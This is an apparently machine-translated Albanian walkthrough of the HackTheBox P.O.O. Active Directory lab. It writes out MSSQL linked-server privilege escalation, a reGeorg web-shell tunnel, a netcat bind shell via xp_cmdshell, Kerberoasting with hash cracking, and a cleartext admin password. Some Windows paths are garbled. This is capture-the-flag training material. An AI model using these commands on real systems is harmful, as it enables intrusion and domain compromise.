HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Në këtë artikull do të shqyrtojmë kalimin e jo thjesht të një makine, por të një mini-laboratorie nga platforma HackTheBox.

Siç thuhet në përshkrim, P.O.O. është menduar për të vlerësuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të kompromentojmë hostin e disponueshëm, të rrisim privilegjet dhe, në fund, të kompromentojmë të gjithë domainin, duke mbledhur gjithashtu 5 flamuj.

Lidhja me laboratorin realizohet përmes VPN. Këshillohet të mos lidhen nga kompjuteri i punës ose nga hosti ku keni të dhëna të rëndësishme, pasi hyni në një rrjet privat me njerëz që kanë njohuri në fushën e sigurimeve 😊

Informacion organizativ
Që të keni mundësi të mësoni për artikuj të rinj, softuer dhe informacion tjetër, kam krijuar kanalin në Telegram dhe një grup për diskutime për çdo pyetje në fushën e Sigurisë Informatike dhe Kompjuterike. Gjithashtu, kërkesat, pyetjet, propozimet dhe rekomandimet tuaja do t'i shqyrtoj personalisht dhe do t'u përgjigjem të gjithëve..

Të gjitha informacionet ofrohen vetëm për qëllime edukative. Autori i këtij dokumenti nuk mban asnjë përgjegjësi për dëmin e shkaktuar ndonjëkujt nga përdorimi i njohurive dhe metodave të marra nga studimi i këtij dokumenti.

Intro

Ky endgame përbëhet nga dy makina dhe përmban 5 flamuj.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Jepet gjithashtu një përshkrim dhe adresë e hostit të disponueshëm.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Le të fillojmë!

Recon flag

Kjo makinë ka adresën IP 10.13.38.11, të cilën e shtoj në /etc/hosts.
10.13.38.11 poo.htb

Së pari, skanojmë portet e hapura. Duke qenë se skanimi i të gjitha porteve me nmap zgjat, fillimisht do ta bëj këtë me masscan. Ne skanojmë të gjitha portet TCP dhe UDP nga interfaci tun0 me shpejtësi 500 paketa në sekundë.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Tani për të marrë më shumë informacion në lidhje me shërbimet që punojnë në porte, do të fillojmë skanimin me opsionin -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kështu, kemi shërbime IIS dhe MSSQL. Në këtë proces, zbulojmë emrin e vërtetë DNS të domenit dhe kompjuterit. Në serverin e uebit na pret faqja kryesore e IIS.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Le të shfletojmë direktorët. Unë do ta përdor gobuster për këtë. Në parametrat përfshij numrin e përdoruesve 128 (-t), URL-në (-u), fjalorin (-w) dhe shtrirjet që na interesojnë (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Në këtë mënyrë kemi autentifikim HTTP për direktorën /admin, si dhe një skedare të disponueshëm për shërbimin e ruajtjes .DS_Store. .DS_Store janë skedarë ku ruhen parametrat e përdoruesit për dosjen, të tillë si lista e skedarëve, vendosja e ikonave, dhe imazhi i sfondit të zgjedhur. Një skedar i tillë mund të përfundojë në direktorën e serverit të uebit të zhvilluesve të uebit. Kështu, ne mund të marrim informacion në lidhje me përmbajtjen e katalogut. Për këtë mund të përdorim DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Ne pohojme përmbajtjen e katalogut. Më interesante këtu është katalogu /dev, nga i cili mund të shohim burimet dhe skedarët e db në dy degë. Por mund të shohim gjashtë karakteret e para të emrave të skedarëve dhe direktoreshave, nëse shërbimi është i prekshëm nga IIS ShortName. Të kontrollojmë nëse ekziston kjo prekshmëri duke përdorur IIS shortname Scanner.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe gjejmë një skedar tekstual që fillon me "poo_co". Pa ditur se çfarë të bëj më pas, thjesht zgjodha nga fjalori i drejtorive të gjitha fjalët që fillojnë me "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Dhe do t'i testojmë ata me wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe gjejmë një fjalë të përshtatshme! Shikojmë këtë skedar, ruajmë kredencialet (duke i përngjallur parametrit DBNAME, ato janë nga MSSQL).

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dorëzojmë flamurin, dhe ne ecim përpara me 20%.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Huh flag

Na lidhim me MSSQL, unë përdor DBeaver.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Nuk gjejmë asgjë interesante në këtë bazë, le të krijojmë një Redaktor SQL dhe të kontrollojmë se cilët përdorues ekzistojnë.

SELECT name FROM master..syslogins;

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kemi dy përdorues. Le të kontrollojmë privilegjet tona.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Pra kështu, nuk ka asnjë privilegj. Le të shikojmë serverët e lidhur, për këtë metodë kam shkruar më shumë. këtu.

SELECT * FROM master..sysservers;

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kështu gjejmë një SQL Server tjetër. Le të kontrollojmë ekzekutimin e komandave në këtë server duke përdorur openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Madje, ne mund ta organizojmë një strukturë pyetjesh.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Çështja është se kur ekzekutojmë një kërkesë në serverin e lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shikojmë në kontekstin e cilit përdorues po punojmë në serverin e lidhur.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe tani le të shohim në cilin kontekst ekzekutohen kërkesat nga serveri i lidhur në tonin!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kështu, kjo është konteksti DBO, i cili duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rastin e një kërkese nga serveri i lidhur.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Siç mund të vëreni, kemi të gjitha privilegjet! Le ta krijojmë adminin tonë kështu. Por nuk na lejojnë përmes openquery, le ta bëjmë këtë përmes EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Dhe tani lidhemi me kredencialet e përdoruesit të ri, duke vëzhguar bazën e të dhënave të re flag.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dorëzojmë këtë flamur dhe shkojmë më tej.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

BackTrack flag

Do të fitojmë shell me ndihmën e MSSQL, unë përdor mssqlclient nga paketa impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Na duhet të gjejmë fjalëkalimet, dhe e para që kemi hasur është faqja. Prandaj, na nevojitet konfiguroi i serverit web (nuk po arrijmë të hedhim një shell të përshtatshëm, duket se firewall-i është aktiv).

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Por, qasja është e ndaluar. Megjithatë, mund të lexojmë skedarin nga MSSQL, duhet vetëm të dimë se cilat gjuhë programuese janë të konfiguruara. Dhe në direktorinë MSSQL zbulojmë se ka Python.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Atëherë të lexosh skedarin web.config nuk ka asnjë problem.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Me të dhënat e gjetura, do të hyjmë në /admin dhe do të marrim flamurin.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Foothold flag

Në të vërtetë, ka disa inconvenienca nga përdorimi i firewall-it, por duke shqyrtuar cilësimet e rrjetit, vërejmë se po përdoret gjithashtu një prokol IPv6!

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Do ta shtojmë këtë adresë në /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por tashmë përmes protokollit IPv6.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe shërbimi WinRM është i aksesueshëm përmes IPv6. Do të lidhemi me të dhënat e gjetura.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Në desktop ka një flamur, do ta dorëzojmë atë.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

P00ned flag

Pasi bëmë zbulimin në host me winpeas nuk gjetëm asgjë të veçantë. Prandaj, u mor vendimi për të kërkuar përsëri të dhënat e qasjes (për këtë temë kam shkruar gjithashtu artikullin). Por nuk arrij të marr të gjitha SPN nga sistemi nëpërmjet WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Le të ekzekutojmë komandën përmes MSSQL.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Me këtë metodë, ne marrim SPN të përdoruesve p00_hr dhe p00_adm, që do të thotë se ata janë të ndjeshëm ndaj një sulmi të tillë si Kerberoasting. Në përmbledhje, ne mund të marrim hash-ët e fjalëkalimeve të tyre.

Së pari, ne duhet të marrim një shell të qëndrueshëm me emrin e përdoruesit MSSQL. Por, pasi jemi të kufizuar në qasje, ne kemi lidhje me hostin vetëm përmes porteve 80 dhe 1433. Mirëpo, ka një mundësi të tunelimit të trafikut përmes portit 80! Për këtë, do të përdorim aplikacionin e mëposhtëm. Do të ngarkohem skedarin tunnel.aspx në drejtorinë e shtëpisë së serverit web — C:inetpubwwwroot.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Por kur përpiqemi të qasemi në të, marrim një gabim 404. Kjo do të thotë se skedarët *.aspx nuk ekzekutohen. Për të bërë që skedarët me këtë zgjerim të fillojnë të ekzekutohen, do të instalojmë ASP.NET 4.5 në këtë mënyrë.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe tani, kur qasem në tunnel.aspx, marrim përgjigjen se gjithçka është gati për punë.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Le të nisëm pjesën klient të aplikacionit, e cila do të merret me retransmetimin e trafikut. Ne do të drejtojmë të gjithë trafikun nga porta 5432 në server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe përdorim proxychains për të dërguar trafikun e çdo aplikacioni përmes proxy-t tonë. Do ta shtojmë këtë proxy në skedarin e konfigurimit /etc/proxychains.conf.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Tani do ngarkojmë në server programin netcat, me ndihmën e të cilit do krijojmë një shell bind stabil, dhe skriptin Invoke-Kerberoast, me ndihmën e të cilit do realizojmë sulmin Kerberoasting.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Tani, përmes MSSQL, fillojmë përgjuese.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe lidhemi përmes proxy-t tonë.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe le të marrim hash-at.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Tani duhet të kalojmë përmes këtyre hash-eve. Duke qenë se në fjalorin rockyou nuk kishte këto fjalëkalime, përdora TË GJITHA fjalorit e fjalëkalimeve të ofruara në Seclists. Për përgjuese përdorim hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Dhe gjejmë të dyja fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt, dhe të dytin në Keyboard-Combinations.txt.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe kështu kemi tre përdorues, tani shkojmë në kontrolluesin e domain-it. Fillimisht, mësojmë adresën e tij.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Shkëlqyer, ne mësuam adresën IP të kontrolluesit të domainit. Le të zbulojmë të gjithë përdoruesit e domainit, si dhe kush prej tyre është administrator. Do të ngarkojmë skriptin për të marrë informacionin PowerView.ps1. Pastaj do të lidhemi me evil-winrm, duke specificuar në parametrin -s direktorinë me skriptin. Më pas, thjesht do të ngarkojmë skriptin PowerView.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Tani kemi qasje në të gjitha funksionet e tij. Përdoruesi p00_adm duket se është me privilegje, prandaj do të punojmë në kontekstin e tij. Do të krijojmë një objekt PSCredential për këtë përdorues.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Tani të gjitha komandat e Powershell, ku do të specifikojmë Creds, do të kryhen në emër të p00_adm. Le të nxjerrim një listë të përdoruesve dhe atributin AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Dhe kështu, përdoruesi ynë në të vërtetë është me privilegje. Le të shohim në cilat grupe është anëtar.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kemi përfundimisht të sigurohemi se përdoruesi është administrator i domenit. Kjo i jep atij të drejtën e hyrjes në distancë në kontrollorin e domenit. Le ta provojmë të hyjmë përmes WinRM, duke përdorur tunelin tonë. Më shqetësojnë gabimet që jep reGeorg kur përdorim evil-winrm.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Atëherë le të përdorim një tjetër, më të thjeshtë, skritp për lidhjen me WinRM. Do të hapim dhe modifikojmë parametrat për lidhje.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Le të provojmë të lidhemi, dhe jemi në sistem.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Por nuk ka flamur. Atëherë le të shikojmë përdoruesit dhe të kontrollojmë tavolinat.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Te mr3ks gjejmë flamurin dhe laboratori kalon me 100%.

HackTheBox endgame. Kalimi laboratorinë Professional Offensive Operations. Pen-test Active Directory

Kaq është. Si një feedback, ju lutem komentoni – a keni mësuar diçka të re nga ky artikull dhe a ishte e dobishme për ju.

Mund të na bashkoheni në Telegram. Aty do të gjeni materiale interesante, kurse të rrjedhura, si dhe softuer. Le të krijojmë një komunitet, ku do të jenë njerëz që kuptojnë shumë fusha të IT-së, kështu që gjithmonë mund të ndihmojmë njëri-tjetrin në çdo çështje IT dhe sigurinë e informacionit.

Burimi: habr.com

Bli një hosting të besueshëm për faqet me mbrojtje DDoS, VPS VDS serverë 🔥 Bli një hosting të besueshëm për faqet me mbrojtje DDoS, VPS VDS serverë | ProHoster